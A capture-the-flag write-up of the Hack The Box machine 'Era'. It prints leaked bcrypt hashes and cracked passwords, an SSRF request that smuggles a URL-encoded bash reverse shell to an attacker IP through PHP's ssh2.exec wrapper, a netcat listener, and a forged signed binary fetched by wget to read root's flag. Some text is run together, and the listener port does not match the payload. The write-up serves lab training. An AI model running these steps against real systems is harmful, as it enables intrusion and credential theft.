After gaining access to the machine we are greeted with a web page at URL http://era.htb, the site is very minimal, a few stock photos of furnitures give the impression of a mock store, some professional looking portraits down below, and the footer sports an email address (likely dead), and an unusable form input, all inline javascript simply reads javascript:void(0), and there are no other page visibily accessible. We therefore consider the web page completely unusable.
Running nmap against the machine's IP address reveals two exposed services:
v1.18.0, as found in the site's footer, whilst the ftp server runs vsFTPd on its latest relase version. A quick google search resulted in no significant vulnerabilities found for the nginx web server used, though that version is highly outdated, and for the ftp daemon. As such, we quickly resulted to enumerating possible endpoints.We run gobuster coupled with a few lists from (KaliLists)[https://github.com/3ndG4me/KaliLists.git] against the URL, looking for subdomains, and find a promising result:
file.era.htb, a unencrypted remote storage site
The PHP web page offers, alongside standard username+password authentication, a passwordless form composed of the username and three 'security' questions, unable to gather more information we proceed forward against this new service, looking for endpoints:file.era.htb/register.php
The site allows us to register a dummy profile without problems and we start toying with the file administration page, uploading a valid file returns us its location: file.era.htb/download.php?id=1939&dl=true, the id seems awfully small; fuzzing once more against a numerical list, lands us two more URLs:file.era.htb/download.php?id=54file.era.htb/download.php?id=150
Surprisingly, or not, the server allows us to retrieve these private files without asking any authentication, which is as major of a security hole as any; anyhow, id=54 returns us site-backup-30-08-24.zip, a almost year old (as of time of writing) backup of the web portal source code, together with a sqlite database, and id=150 gives us signing.zip, an unprotected zip archive of unencrypted credentials, specifically a key.pem and an x509.pem keygen file.
Lastly, before heading off to analyze our finding, we spot the endpoint to change a user's security questions, we keep this page in the back of our minds for later.sqlite> .schema
CREATE TABLE files (
fileid int NOT NULL PRIMARY KEY,
filepath varchar(255) NOT NULL,
fileowner int NOT NULL,
filedate timestamp NOT NULL
);
CREATE TABLE users (
user_id INTEGER PRIMARY KEY AUTOINCREMENT,
user_name varchar(255) NOT NULL,
user_password varchar(255) NOT NULL,
auto_delete_files_after int NOT NULL
, security_answer1 varchar(255), security_answer2 varchar(255), security_answer3 varchar(255));
CREATE TABLE sqlite_sequence(name,seq);
sqlite> select user_id, user_name, user_password from users;
1|admin_ef01cab31aa|$2y$10$wDbohsUaezf74d3sMNRPi.o93wDxJqphM2m0VVUp41If6WrYr.QPC
2|eric|$2y$10$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm
3|veronica|$2y$10$xQmS7JL8UT4B3jAYK7jsNeZ4I.YqaFFnZNA/2GCxLveQ805kuQGOK
4|yuri|$2b$12$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2.
5|john|$2a$10$iccCEz6.5.W2p7CSBOr3ReaOqyNmINMH1LaqeQaL22a1T1V/IddE6
6|ethan|$2a$10$PkV/LAd07ftxVzBHhrpgcOwD3G1omX4Dk2Y56Tv9DpuUV/dh/a1wC
sqlite> SELECT user_name,security_answer1,security_answer2,security_answer3 FROM users;
admin_ef01cab31aa|Maria|Oliver|Ottawa
Unfortunately, such credentials did not grant us access (the admin user must have reset its security questions). No worries, remember that 'change a user's questions' endpoint from before? A major oversight of that page is that it does not check that the user whose questions are being changed is the same as the user making the request, just that it is authenticated by any means, that is it simply registered, as we can see in the source code:
<?php
// reset.php
require_once('layout.php');
require_once('functions.global.php');
// Check session validity before outputting anything
if (!isset($_SESSION['eravalid']) || $_SESSION['eravalid'] !== true) {
header('Location: login.php');
exit();
}
// Output the page top with sidebar and main content container open
echo deliverTop("Era - Update Security Questions");
// ...
We can therefore change the admin user's answers to a default dummy value, and log back as admin_ef01cab31aa, unfortunately not only the page does not offer us any additional functionalites, at first glance, but it is also does not grant us access to the FTP server.
Undeterred, we turn to (hashcat)[https://hashcat.net/hashcat/] and a rainbow table against the (bcrypt)[https://it.wikipedia.org/wiki/Bcrypt]-ed passwords of the remaining user. Though hopes were not sky-high, luck smiled on us and we obtained the, rather very weak, sets of credentials:
yuri:mustangeric:america
We obtain access to the ftp channel as user eric. We are unfortunately stuck in the shared root (ftp-wise) directory, it only contains some apache and php configuration files, inside the php one, we find a list of shared object files:ftp> ls
229 Entering Extended Passive Mode (|||48422|)
150 Here comes the directory listing.
drwxr-xr-x 2 0 0 4096 Jul 22 08:42 build
...
-rw-r--r-- 1 0 0 67848 Dec 08 2024 ftp.so
...
-rw-r--r-- 1 0 0 121096 Dec 08 2024 pdo.so
-rw-r--r-- 1 0 0 39176 Dec 08 2024 pdo_sqlite.so
...
-rw-r--r-- 1 0 0 313912 Dec 08 2024 ssh2.so
...
-rw-r--r-- 1 0 0 84232 Dec 08 2024 zip.so
226 Directory send OK.
the ssh2.so one catches our eye, we find out it (ssh2)[https://www.php.net/manual/en/wrappers.ssh2.php] a PHP extension which allows the server to receive shell command under an SSH tunnel. The name of the game was therefore SSRF, given our access of the admin page we figure that's the way to start.
At line 58 of file download.php we see the following snippet:
// BETA (Currently only available to the admin) - Showcase file instead of downloading it
} elseif ($_GET['show'] === "true" && $_SESSION['erauser'] === 1) {
$format = isset($_GET['format']) ? $_GET['format'] : '';
$file = $fetched[0];
if (strpos($format, '://') !== false) {
$wrapper = $format;
header('Content-Type: application/octet-stream');
} else {
$wrapper = '';
header('Content-Type: text/html');
}
try {
$file_content = fopen($wrapper ? $wrapper . $file : $file, 'r');
$full_path = $wrapper ? $wrapper . $file : $file;
// Debug Output
echo "Opening: " . $full_path . "\n";
echo $file_content;
} catch (Exception $e) {
echo "Error reading file: " . $e->getMessage();
}
the wrapper is sent, in full, with the filename appended to it. by manipulating this snippet, we can force a fopen with an ssh2.exec URL and valid credentials.
GET /download.php?id=54&show=true&format=ssh2.exec://eric:america@127.0.0.1/%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%31%30%2e%31%34%2e%31%33%32%2f%33%33%33%34%30%20%30%3e%26%31%23 HTTP/1.1
referrer: file.era.htb
...
root@ourmachine $ nc -vlnp 1338
eric@era.htb $
This was a lucky guess, as we did not know which site user was also present in the machine. Unfortunately, we were not able to gain a permanent foothold to the machine as not SSH tunnel was open on it and we did not possess the credential to open one. Still this shell proved remarkably persistent.
By enumerating setuid and setguid permissions on file we find /opt/AV/periodic-checks/monitor, a signed executable file. We may not run it directly, nor could we easily exfiltrate it, but interacting with it, via a simple cat command, let us trigger a root-owned script that executed the latter's content. By using linux-elf-binary-signer and the certificates downloaded at chapter 2(#fuzz-results), we are able to forge and sign a malevolous C file, as such:
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
system("cp /root/root.txt /opt/AV/periodic-checks/root.txt");
system("chmod 777 /opt/AV/periodic-checks/root.txt"); // or else we cannot open it
return 0;
}
gcc -lc -o root root.c
./elf-sign sha256 certs/key.pem certs/key.pem ./root ./signed-root
Given that port 22 isn't open for connection, we then open an HTTP web server on our local machine pointing to the file and, from the reverse shell through the shared HTB VPN, download it to the desired directory.
eric@era.htb /opt/AV/periodic-checks/ $ wget http://<our machine's VPN address>/signed-root
eric@era.htb /opt/AV/periodic-checks/ $ cat signed-root > monitor
eric@era.htb /opt/AV/periodic-checks/ $ cat monitor > /dev/null
eric@era.htb /opt/AV/periodic-checks/ $ ls -l *.txt
-rwxrwxrwx 1 root root 23 Aug 5 19:00 root.txt
BINGO.
All in all, the challenge was very fun and used a few different parts to lead you to the solution. The developers were kind enough to throw us many bones, from weak credentials to the many serious oversights of the web portal, that allowed us to obtain results very quickly and avoid endless speculations. It took a couple of hours of a Saturday evening to get to the solve the machine. I hope you enjoyed our article, and that we inspired you to try out the many other challenges found at (hackthebox)[https://www.hackthebox.com/].
Cheers, The prochetta team